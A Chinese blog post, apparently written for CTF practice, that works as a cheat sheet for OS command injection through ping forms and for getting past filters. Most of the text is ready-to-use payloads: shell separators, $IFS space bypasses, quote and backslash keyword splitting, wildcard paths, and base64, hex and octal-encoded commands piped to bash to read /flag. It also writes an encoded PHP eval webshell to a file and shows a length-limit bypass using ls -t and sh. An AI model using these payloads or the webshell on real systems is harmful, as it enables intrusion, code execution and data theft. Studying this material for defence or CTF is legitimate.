ping命令执行及bypass

ping命令执行及bypass

管道符

windows 下

|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

Linux 下

;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

命令分割符被过滤

使用下面两个

%0a换行符,需要php环境
%0d回车符,需要php环境

空格绕过

常见的绕过符号有: $IFS 9 、 9 、 9{IFS} 、%09(php环境下)、 重定向符<>、>
I F S 在 l i n u x 下 表 示 分 隔 符 , 如 果 不 加 则 b a s h 会 将 I F S 解 释 为 一 个 变 量 名 , 加 一 个 就 固 定 了 变 量 名 , IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名, 加一个{}就固定了变量名, IFSlinuxbashIFSIFS 9 后 面 之 所 以 加 个 9后面之所以加个 9是为了起到截断的作用 ;为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
不仅 $9可以使用,我试了试其他的数字也都可以正确绕过。

过滤目录分隔符

目录分隔符/我们可以使用$HOME代替,HOME也是shell中的一个环境变量,表示当前用户的根目录,我们可以看看当前用户的HOME值是什么

image-20200731173205285

可以看到当前用户的根目录是/home/www-data,我们只需要/,所以我们可以用${HOME:0:1}来实现

关键词过滤

单引号绕过

w'h'o'am'i

双引号绕过

w"h"o"am"i

反斜线

c\at fl\ag

正则 (假设/bin/cat: test: 是一个目录)

/???/?[a][t] ?''?''?''?''`
`/???/?at ????`
`/???/?[a]''[t] ?''?''?''?''

使用 $@ 绕过

who$@ami

用通配符绕过

powershell C:\*\*2\n??e*d.*? # notepad

cat被过滤

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

命令执行函数被过滤

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

利用编码绕过

#base64
echo Y2F0IC9mbGFn|base64 -d|bash ==>cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
echo Y2F0IGZsYWcucGhw|base64 -d|bash==>cat flag.php
echo Y2F0IGZsYWcucGhw|base64 -d|sh==>cat flag.php
#hex
echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
#oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#i也可以通过这种方式写马
内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

奇淫妓巧

内联执行执行

cat$IFS$9`ls`
cat$IFS$9$(ls)
这两个命令也意思就是执行当前目录下的所有文件

(内联,就是将``或$()内命令的输出作为输入执行)


利用ls -t和>以及换行符绕过长度限制执行命令(文件构造绕过)

root@kali:~/桌面# echo "flag{hahaha}" > flag.txt
root@kali:~/桌面# touch "ag"
root@kali:~/桌面# touch "fl\\"
root@kali:~/桌面# touch "t \\"
root@kali:~/桌面# touch "ca\\"
root@kali:~/桌面# ls -t
'ca\'  't \'  'fl\'   ag   flag
root@kali:~/桌面# ls -t >a     #将 ls -t 内容写入到a文件中
root@kali:~/桌面# sh a
a: 1: a: not found
flag{hahaha}
a: 6: flag.txt: not found
\ 是指换行
ls -t将文件按时间排序输出
sh命令可以从一个文件中读取命令来执行

参考博客 https://www.cnblogs.com/NPFS/p/13279815.html

​ https://www.cnblogs.com/micr067/p/12590152.html

​ https://blog.csdn.net/qq_45552960/article/details/104576189

​ https://blog.csdn.net/qq_42812036/article/details/104297163

​ https://www.freesion.com/article/9046720644/

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值